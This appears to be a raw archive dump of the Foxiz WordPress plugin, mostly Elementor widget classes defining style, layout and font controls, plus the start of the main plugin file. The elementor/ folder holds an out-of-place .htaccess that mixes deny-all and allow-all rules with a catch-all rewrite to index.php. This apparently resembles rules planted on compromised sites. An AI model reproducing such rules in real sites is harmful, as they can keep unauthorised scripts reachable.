'font-size: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'sub_title_tag_size', array( 'label' => esc_html__( 'Secondary Title Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::sub_title_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-list-inline > .entry-title' => 'font-size: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'entry_format_size', array( 'label' => esc_html__( 'Entry Format Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::entry_format_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-format' => 'font-size: {{VALUE}}px !important;' ), ) ); $this->add_responsive_control( 'entry_excerpt_size', array( 'label' => esc_html__( 'Entry Excerpt Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::excerpt_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .entry-summary' => 'font-size: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'mobile_meta_section', array( 'label' => esc_html__( 'Responsive - Hide Elements', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'hide_category', array( 'label' => esc_html__( 'Hide Entry Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::hide_category_description(), 'options' => Options::hide_dropdown( false ), 'default' => '0', ) ); $this->add_control( 'tablet_hide_meta', array( 'label' => esc_html__( 'Tablet - Hide Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::tablet_hide_meta_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => esc_html__( 'avatar, author', 'foxiz-core' ), 'multiple' => true, 'default' => array() ) ); $this->add_control( 'mobile_hide_meta', array( 'label' => esc_html__( 'Mobile - Hide Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::mobile_hide_meta_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => esc_html__( 'avatar, author', 'foxiz-core' ), 'multiple' => true, 'default' => array() ) ); $this->add_control( 'hide_excerpt', array( 'label' => esc_html__( 'Hide Excerpt', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::hide_excerpt_description(), 'options' => Options::hide_dropdown( false ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'color_section', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'color_scheme_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::color_scheme_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'color_scheme', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::color_scheme_description(), 'options' => array( '0' => esc_html__( 'Default (Dark Text)', 'foxiz-core' ), '1' => esc_html__( 'Light Text', 'foxiz-core' ) ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_section', array( 'label' => esc_html__( 'Custom Font', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'custom_font_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::custom_font_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Post Title Font', 'foxiz-core' ), 'name' => 'title_font', 'selector' => '{{WRAPPER}} .entry-title', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Secondary Post Title Font', 'foxiz-core' ), 'name' => 'sub_title_font', 'selector' => '{{WRAPPER}} .p-list-inline > .entry-title', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Entry Category Font', 'foxiz-core' ), 'name' => 'category_font', 'selector' => '{{WRAPPER}} .p-categories', ) ); $this->end_controls_section(); $this->start_controls_section( 'spacing_section', array( 'label' => esc_html__( 'Spacing', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_responsive_control( 'el_spacing', array( 'label' => esc_html__( 'Custom Element Spacing', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_spacing_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--el-spacing: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'bottom_margin', array( 'label' => esc_html__( 'Custom Bottom Margin', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_margin_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .block-hrc .p-list-inline' => '--bottom-spacing: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'first_bottom_margin', array( 'label' => esc_html__( 'First Post Bottom Margin', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Input custom bottom margin values (px) for the first post.', 'foxiz-core' ), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .block-hrc .p-wrap:first-child' => '--bottom-spacing: {{VALUE}}px;' ), ) ); $this->end_controls_section(); } protected function render() { if ( function_exists( 'foxiz_get_hierarchical_2' ) ) { $settings = $this->get_settings(); $settings['uuid'] = 'uid_' . $this->get_id(); echo \foxiz_get_hierarchical_2( $settings ); } } }elementor/categories-5.php000064400000022756147206624460011565 0ustar00start_controls_section( 'general', array( 'label' => esc_html__( 'Categories', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'category_list_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'To set featured images for each category, navigate to "Posts > Categories > Edit > Featured Images".', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $categories = new Repeater(); $categories->add_control( 'category', array( 'label' => esc_html__( 'Select a Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'options' => Options::cat_slug_dropdown( 'post', esc_html__( '- Select a category -', 'foxiz-core' ) ), 'default' => '', ) ); $this->add_control( 'categories', array( 'label' => esc_html__( 'Add Categories', 'foxiz-core' ), 'type' => Controls_Manager::REPEATER, 'fields' => $categories->get_controls(), 'default' => array( array( 'category' => '', 'image' => '' ) ), 'title_field' => '{{{ category }}}', ) ); $this->end_controls_section(); $this->start_controls_section( 'design_section', array( 'label' => esc_html__( 'Block Design', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'crop_size', array( 'label' => esc_html__( 'Featured Image Size', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::crop_size(), 'options' => Options::crop_size_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'image_width', array( 'label' => esc_html__( 'Max Featured Width', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__('Input a max width value for the featured image.', 'foxiz-core'), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .cbox-featured-holder' => 'max-width: {{VALUE}}px;' ), ) ); $this->add_control( 'title_tag', array( 'label' => esc_html__( 'Title HTML Tag', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::heading_html_description(), 'options' => Options::heading_html_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'title_tag_size', array( 'label' => esc_html__( 'Title Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::title_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .cbox-title' => 'font-size: {{VALUE}}px;' ), ) ); $this->add_control( 'count_posts', array( 'label' => esc_html__( 'Count Posts', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => esc_html__( 'Enable or disable total posts information of each category.', 'foxiz-core' ), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->add_control( 'follow', array( 'label' => esc_html__( 'Follow Button', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'options' => Options::switch_dropdown( false ), 'description' => esc_html__( 'Enable or disable follow button.', 'foxiz-core' ), 'default' => '-1', ) ); $this->end_controls_section(); $this->start_controls_section( 'color_section', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'color_scheme_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::color_scheme_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'color_scheme', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::color_scheme_description(), 'options' => array( '0' => esc_html__( 'Default (Dark Text)', 'foxiz-core' ), '1' => esc_html__( 'Light Text', 'foxiz-core' ) ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_section', array( 'label' => esc_html__( 'Custom Font', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'custom_font_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::custom_font_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Category Name Font', 'foxiz-core' ), 'name' => 'category_font', 'selector' => '{{WRAPPER}} .cbox-title > *', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Count Posts Font', 'foxiz-core' ), 'name' => 'count_font', 'selector' => '{{WRAPPER}} .cbox-count.is-meta', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_columns', array( 'label' => esc_html__( 'Column Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'columns', array( 'label' => esc_html__( 'Columns on Desktop', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_description(), 'options' => Options::columns_dropdown(), 'default' => '0', ) ); $this->add_control( 'columns_tablet', array( 'label' => esc_html__( 'Columns on Tablet', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_tablet_description(), 'options' => Options::columns_dropdown(), 'default' => '0', ) ); $this->add_control( 'columns_mobile', array( 'label' => esc_html__( 'Columns on Mobile', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_mobile_description(), 'options' => Options::columns_dropdown( array( 0, 1, 2 ) ), 'default' => '0', ) ); $this->add_control( 'column_gap', array( 'label' => esc_html__( 'Columns Gap', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_gap_description(), 'options' => Options::column_gap_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'column_gap_custom', array( 'label' => esc_html__( '1/2 Custom Gap Value', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::column_gap_custom_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .is-gap-custom' => 'margin-left: -{{VALUE}}px; margin-right: -{{VALUE}}px; --column-gap: {{VALUE}}px;', '{{WRAPPER}} .is-gap-custom .block-inner > *' => 'padding-left: {{VALUE}}px; padding-right: {{VALUE}}px;' ), ) ); $this->add_control( 'column_border', array( 'label' => esc_html__( 'Column Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_border_description(), 'options' => Options::column_border_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'spacing_section', array( 'label' => esc_html__( 'Spacing', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_responsive_control( 'bottom_margin', array( 'label' => esc_html__( 'Custom Bottom Margin', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Input custom bottom margin values (px) between category items.', 'foxiz-core' ), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .cbox' => '--bottom-spacing: {{VALUE}}px;' ), ) ); $this->end_controls_section(); } protected function render() { if ( function_exists( 'foxiz_get_categories_5' ) ) { $settings = $this->get_settings(); $settings['uuid'] = 'uid_' . $this->get_id(); echo \foxiz_get_categories_5( $settings ); } } }elementor/quick-links.php000064400000010736147206624460011523 0ustar00start_controls_section( 'general', array( 'label' => esc_html__( 'General Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'header', array( 'label' => esc_html__( 'Heading Label', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'default' => esc_html__( 'Quick Links', 'foxiz-core' ), ) ); $this->add_control( 'layout', array( 'label' => esc_html__( 'Layout', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'options' => array( '1' => esc_html__( '- Default -', 'foxiz-core' ), '2' => esc_html__( 'Layout 2', 'foxiz-core' ), ), 'default' => '1' ) ); $quick_links->add_control( 'title', array( 'label' => esc_html__( 'Quick Link Title', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'placeholder' => esc_html__( 'Input a quick link title.', 'foxiz-core' ), 'default' => '', ) ); $quick_links->add_control( 'url', array( 'label' => esc_html__( 'Quick Link URL', 'foxiz-core' ), 'type' => Controls_Manager::URL, ) ); $this->add_control( 'quick_links', array( 'label' => esc_html__( 'Add Quick Link', 'foxiz-core' ), 'type' => Controls_Manager::REPEATER, 'fields' => $quick_links->get_controls(), 'default' => array( array( 'url' => '', 'title' => esc_html__( 'Quick Link #1', 'foxiz-core' ), 'image' => '' ) ), 'title_field' => '{{{ title }}}', ) ); $this->end_controls_section(); $this->start_controls_section( 'color_section', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'color_scheme_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::color_scheme_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'color_scheme', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::color_scheme_description(), 'options' => array( '0' => esc_html__( 'Default (Dark Text)', 'foxiz-core' ), '1' => esc_html__( 'Light Text', 'foxiz-core' ) ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_section', array( 'label' => esc_html__( 'Custom Font', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'custom_font_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::custom_font_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Header Label Font', 'foxiz-core' ), 'name' => 'heading_font', 'selector' => '{{WRAPPER}} .qlinks-heading', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Quick link Item Font', 'foxiz-core' ), 'name' => 'title_font', 'selector' => '{{WRAPPER}} .qlink a', ) ); $this->end_controls_section(); } /** * render layout */ protected function render() { if ( function_exists( 'foxiz_get_quick_links' ) ) { $settings = $this->get_settings(); $settings['uuid'] = 'uid_' . $this->get_id(); echo \foxiz_get_quick_links( $settings ); } } }elementor/categories-1.php000064400000023662147206624460011556 0ustar00start_controls_section( 'general', array( 'label' => esc_html__( 'Categories', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'category_list_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'To set featured images for each category, navigate to "Posts > Categories > Edit > Featured Images".', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $categories = new Repeater(); $categories->add_control( 'category', array( 'label' => esc_html__( 'Select a Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'options' => Options::cat_slug_dropdown( 'post', esc_html__( '- Select a category -', 'foxiz-core' ) ), 'default' => '', ) ); $this->add_control( 'categories', array( 'label' => esc_html__( 'Add Categories', 'foxiz-core' ), 'type' => Controls_Manager::REPEATER, 'fields' => $categories->get_controls(), 'default' => array( array( 'category' => '', 'image' => '' ) ), 'title_field' => '{{{ category }}}', ) ); $this->end_controls_section(); $this->start_controls_section( 'design_section', array( 'label' => esc_html__( 'Block Design', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'crop_size', array( 'label' => esc_html__( 'Featured Image Size', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::crop_size(), 'options' => Options::crop_size_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'display_ratio', array( 'label' => esc_html__( 'Custom Featured Ratio', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::display_ratio_description(), 'selectors' => array( '{{WRAPPER}} .cbox-featured' => 'padding-bottom: {{VALUE}}%', ), ) ); $this->add_control( 'title_tag', array( 'label' => esc_html__( 'Title HTML Tag', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::heading_html_description(), 'options' => Options::heading_html_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'title_tag_size', array( 'label' => esc_html__( 'Title Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::title_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .cbox-title' => 'font-size: {{VALUE}}px;' ), ) ); $this->add_control( 'count_posts', array( 'label' => esc_html__( 'Count Posts', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => esc_html__( 'Enable or disable total posts information of each category.', 'foxiz-core' ), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->add_control( 'follow', array( 'label' => esc_html__( 'Follow Button', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'options' => Options::switch_dropdown( false ), 'description' => esc_html__( 'Enable or disable follow button.', 'foxiz-core' ), 'default' => '-1', ) ); $this->end_controls_section(); $this->start_controls_section( 'rounded_section', array( 'label' => esc_html__( 'Rounded Corner', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'box_border', array( 'label' => esc_html__( 'Border Radius', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::border_description(), 'selectors' => array( '{{WRAPPER}}' => '--wrap-border: {{VALUE}}px;', ), ) ); $this->end_controls_section(); $this->start_controls_section( 'color_section', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'color_scheme_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::color_scheme_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'color_scheme', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::color_scheme_description(), 'options' => array( '0' => esc_html__( 'Default (Dark Text)', 'foxiz-core' ), '1' => esc_html__( 'Light Text', 'foxiz-core' ) ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_section', array( 'label' => esc_html__( 'Custom Font', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'custom_font_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::custom_font_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Category Name Font', 'foxiz-core' ), 'name' => 'category_font', 'selector' => '{{WRAPPER}} .cbox-title > *', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Count Posts Font', 'foxiz-core' ), 'name' => 'count_font', 'selector' => '{{WRAPPER}} .cbox-count.is-meta', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_columns', array( 'label' => esc_html__( 'Column Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'columns', array( 'label' => esc_html__( 'Columns on Desktop', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_description(), 'options' => Options::columns_dropdown(), 'default' => '0', ) ); $this->add_control( 'columns_tablet', array( 'label' => esc_html__( 'Columns on Tablet', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_tablet_description(), 'options' => Options::columns_dropdown(), 'default' => '0', ) ); $this->add_control( 'columns_mobile', array( 'label' => esc_html__( 'Columns on Mobile', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_mobile_description(), 'options' => Options::columns_dropdown( array( 0, 1, 2 ) ), 'default' => '0', ) ); $this->add_control( 'column_gap', array( 'label' => esc_html__( 'Columns Gap', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_gap_description(), 'options' => Options::column_gap_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'column_gap_custom', array( 'label' => esc_html__( '1/2 Custom Gap Value', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::column_gap_custom_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .is-gap-custom' => 'margin-left: -{{VALUE}}px; margin-right: -{{VALUE}}px; --column-gap: {{VALUE}}px;', '{{WRAPPER}} .is-gap-custom .block-inner > *' => 'padding-left: {{VALUE}}px; padding-right: {{VALUE}}px;' ), ) ); $this->add_control( 'column_border', array( 'label' => esc_html__( 'Column Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_border_description(), 'options' => Options::column_border_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'spacing_section', array( 'label' => esc_html__( 'Spacing', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_responsive_control( 'bottom_margin', array( 'label' => esc_html__( 'Custom Bottom Margin', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Input custom bottom margin values (px) between category items.', 'foxiz-core' ), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .cbox' => '--bottom-spacing: {{VALUE}}px;' ), ) ); $this->end_controls_section(); } protected function render() { if ( function_exists( 'foxiz_get_categories_1' ) ) { $settings = $this->get_settings(); $settings['uuid'] = 'uid_' . $this->get_id(); echo \foxiz_get_categories_1( $settings ); } } }elementor/.htaccess000064400000001626147206624460010354 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] elementor/menu.php000064400000013521147206624460010230 0ustar00start_controls_section( 'general_section', array( 'label' => esc_html__( 'Menu Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $menus = $this->get_menus(); $this->add_control( 'menu', array( 'label' => esc_html__( 'Assign Menu', 'foxiz-core' ), 'description' => esc_html__( 'Select a menu for this block.', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'multiple' => false, 'options' => $menus, 'default' => ! empty( array_keys( $menus )[0] ) ? array_keys( $menus )[0] : '', 'save_default' => true, ) ); $this->end_controls_section(); $this->start_controls_section( 'style-section', array( 'label' => esc_html__( 'Style Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'menu_item_spacing', array( 'label' => esc_html__( 'Item Padding', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Input a custom spacing between menu item.', 'foxiz-core' ), 'selectors' => array( '{{WRAPPER}} .sidebar-menu a' => 'padding-bottom: {{VALUE}}px; margin-bottom: {{VALUE}}px;' ), ) ); $this->add_control( 'align', array( 'label' => esc_html__( 'Alignment', 'foxiz-core' ), 'type' => Controls_Manager::CHOOSE, 'options' => array( 'left' => array( 'title' => esc_html__( 'Left', 'foxiz-core' ), 'icon' => 'eicon-align-start-h', ), 'center' => array( 'title' => esc_html__( 'Center', 'foxiz-core' ), 'icon' => 'eicon-align-center-h', ), 'right' => array( 'title' => esc_html__( 'Right', 'foxiz-core' ), 'icon' => 'eicon-align-end-h', ), ), 'selectors' => array( '{{WRAPPER}} .sidebar-menu' => 'text-align: {{VALUE}};', ), ) ); $this->end_controls_section(); $this->start_controls_section( 'color-section', array( 'label' => esc_html__( 'Color Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'menu_color', array( 'label' => esc_html__( 'Text Color', 'foxiz-core' ), 'description' => esc_html__( 'Select a text color for displaying in the navigation bar of this header.', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'selectors' => array( '{{WRAPPER}} .sidebar-menu a > span' => 'color: {{VALUE}};' ), ) ); $this->add_control( 'menu_hover_color', array( 'label' => esc_html__( 'Hover Text Color', 'foxiz-core' ), 'description' => esc_html__( 'Select a text color when hovering.', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'selectors' => array( '{{WRAPPER}} .sidebar-menu a:hover > span' => 'color: {{VALUE}};' ), ) ); $this->end_controls_section(); /** dark mode */ $this->start_controls_section( 'dark-color-section', array( 'label' => esc_html__( 'Dark Mode - Color Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'menu_dark_color', array( 'label' => esc_html__( 'Text Color', 'foxiz-core' ), 'description' => esc_html__( 'Select a text color for displaying in the navigation bar of this header in the dark mode.', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'selectors' => array( '[data-theme="dark"] {{WRAPPER}} .sidebar-menu a > span' => 'color: {{VALUE}};' ), ) ); $this->add_control( 'menu_dark_hover_color', array( 'label' => esc_html__( 'Hover Text Color', 'foxiz-core' ), 'description' => esc_html__( 'Select a text color when hovering in the dark mode.', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'selectors' => array( '[data-theme="dark"] {{WRAPPER}} .sidebar-menu a:hover > span' => 'color: {{VALUE}};' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'font_section', array( 'label' => esc_html__( 'Font & Font Size', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Menu Font', 'foxiz-core' ), 'name' => 'menu_font', 'selector' => '{{WRAPPER}} .sidebar-menu a', ) ); $this->add_responsive_control( 'sub_font_size', array( 'label' => esc_html__( 'Sub Menu Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Input a custom font size value for the sub menu item.' ), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .sidebar-menu ul.sub-menu a' => 'font-size: {{VALUE}}px !important;' ), ) ); $this->end_controls_section(); } protected function get_menus() { $menus = wp_get_nav_menus(); $options = array(); foreach ( $menus as $menu ) { $options[ $menu->slug ] = $menu->name; } return $options; } /** * render layout */ protected function render() { $settings = $this->get_settings(); \foxiz_elementor_sidebar_menu( $settings ); } }foxiz-core.php000064400000014273147206624460007364 0ustar00translation(); RB_ADMIN_CORE::get_instance(); Foxiz_AMP::get_instance(); if ( class_exists( 'SimpleWpMembership' ) ) { Foxiz_Membership::get_instance(); } } function load_components() { Foxiz_Table_Contents::get_instance(); Ruby_Reaction::get_instance(); Foxiz_Optimized::get_instance(); } function translation() { $loaded = load_plugin_textdomain( 'foxiz-core', false, FOXIZ_CORE_PATH . 'languages/' ); if ( ! $loaded ) { $locale = apply_filters( 'plugin_locale', get_locale(), 'foxiz-core' ); $mofile = FOXIZ_CORE_PATH . 'languages/foxiz-core-' . $locale . '.mo'; load_textdomain( 'foxiz-core', $mofile ); } } function on_activate() { if ( ! is_network_admin() ) { set_transient( '_rb_welcome_page_redirect', true, 30 ); } } function enqueue_theme_options() { wp_dequeue_script( 'redux-rtl-css' ); wp_register_style( 'foxiz-panel', FOXIZ_CORE_URL . 'admin/assets/theme-options.css', array( 'redux-admin-css' ), FOXIZ_CORE_VERSION, 'all' ); wp_enqueue_style( 'foxiz-panel' ); } function core_enqueue() { if ( is_admin() || foxiz_is_amp() ) { return false; } $deps = array( 'jquery' ); wp_register_script( 'foxiz-core', FOXIZ_CORE_URL . 'assets/core.js', $deps, FOXIZ_CORE_VERSION, true ); $js_params = array( 'ajaxurl' => admin_url( 'admin-ajax.php' ) ); if ( is_multisite() ) { $js_params['darkModeID'] = 'D_' . trim( str_replace( '/', '_', preg_replace( '/https?:\/\/(www\.)?/', '', get_site_url() ) ) ); } wp_localize_script( 'foxiz-core', 'foxizCoreParams', $js_params ); wp_enqueue_script( 'foxiz-core' ); } /** * @return false */ public function register_widgets() { $widgets = array( 'Foxiz_W_Post', 'Foxiz_W_Follower', 'Foxiz_W_Weather', 'Foxiz_Fw_Instagram', 'Foxiz_W_Twitter', 'Foxiz_W_Social_Icon', 'Foxiz_W_Youtube_Subscribe', 'Foxiz_W_Flickr', 'Foxiz_W_Address', 'Foxiz_W_Instagram', 'Foxiz_Fw_Mc', 'Foxiz_Ad_Image', 'Foxiz_FW_Banner', 'Foxiz_W_Facebook', 'Foxiz_Ad_Script', 